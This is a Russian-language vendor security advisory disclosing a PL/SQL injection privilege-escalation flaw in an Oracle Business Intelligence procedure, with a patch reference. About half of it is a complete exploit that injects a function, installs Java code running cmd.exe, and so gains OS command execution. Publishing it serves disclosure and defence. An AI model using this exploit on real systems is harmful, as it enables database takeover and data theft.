DSECRG-11-021

Вендор

Oracle

Продукт

Oracle Business Intelligence Standard Edition One 10.1.3.2.1

Тип уязвимости

Повышение привилегий

Reported

20.04.2009

Date of Public Advisory

23.05.2011

Автор

Александр Поляков

Детальное описание

Процедура OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID выполняется с правами пользователя OWBREPOS_OWNER и предоставляется пользователю PUBLIC. Эксплуатация уязвимости в этой процедуре может дать любому пользователю права OWBREPOS_OWNER. У OWBREPOS_OWNER есть ряд критичных ролей и привилегий.

Детали
********
1. PL/SQL инъекция обнаружена в процедуре OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID
Argument Name Type In/Out Default?
------------------------------ ----------------------- ------ --------
P_CUBE_NAME VARCHAR2 IN

Аргумент P_CUBE_NAME не санитизован, поэтому злоумышленник может внедрить SQL код, который будет исполнен с правами OWBREPOS_OWNER. OWBREPOS_OWNER не является администратором баз данных (DBA), но у него есть ряд критичных ролей и привилегий, которые могут быть использованы для просмотра любых данных в таблицах базы данных, включая хеши пользователей, а также для получения доступа к файлам ОС, исполнения команд ОС и получения прав SYSDBA. 

Критичные роли и привилегии:
1. SELECT ANY DICTIONARY
2. JAVA_ADMIN
3. CREATE EXTERNAL JOB
4. CREATE ANY DIRECTORY

У OWBREPOS_OWNER есть роль "JAVA_ADMIN", поэтому он может выполнять любые команды ОС с привилегиями Owner of Oracle BI process (по умолчанию в Windows это пользователь LOCAL SYSTEM). 

Пример эксплойта
*********************
CREATE OR REPLACE FUNCTION "SCOTT"."SQLI" return varchar2
authid current_user as
pragma autonomous_transaction;
SqlCommand VARCHAR2(2048);

BEGIN
SqlCommand := '
CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
import java.lang.*;
import java.io.*;

public class ExecuteOS
{
public static void printFile (String fileName) throws IOException
{
File fileOut;
FileReader fileReaderOut;
BufferedReader buffReader;
String strRead;

fileOut = new File (fileName);
fileReaderOut = new FileReader (fileOut);
buffReader = new BufferedReader(fileReaderOut);
while ((strRead = buffReader.readLine()) != null)
System.out.println(strRead);
}

public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
{
String[] strCmd = {"cmd.exe", "/c", "1>c:\\stdout.txt", "2>c:\\stderr.txt", cmd};

System.out.println("==========\r\nExecuting OS command...");
Process p = Runtime.getRuntime().exec(strCmd);
p.waitFor();
System.out.println("\r\n==========\r\nThis was the STANDARD OUTPUT for the command:");
printFile ("c:\\stdout.txt");
System.out.println("\r\n==========\r\nThis was the ERROR OUTPUT for the command:");
printFile ("c:\\stderr.txt");
}
}';
execute immediate SqlCommand;

SqlCommand := '
CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
AS LANGUAGE JAVA
NAME ''ExecuteOS.execOSCmd (java.lang.String)'';';
execute immediate SqlCommand;

execute immediate 'GRANT EXECUTE ON PROC_EXECUTEOS TO SCOTT';

commit; -- Must do a commit
return ''; -- Must return a value
END;
/

grant execute on SCOTT.SQLI to PUBLIC;
/

SET SERVEROUTPUT ON
/

exec OWBREPOS_OWNER.WB_OLAP_AW_REMOVE_SOLVE_ID('aaa''||SCOTT.SQLI()||''aaa);
/

CALL dbms_java.set_output(1999);
/
EXEC OWBREPOS_OWNER.proc_executeos ('set');
/

Решение
**********
Решение этой проблемы представлено в SAP Oracle Critical patch update April 2011.
http://www.oracle.com/technetwork/topics/security/cpuapr2011-301950.html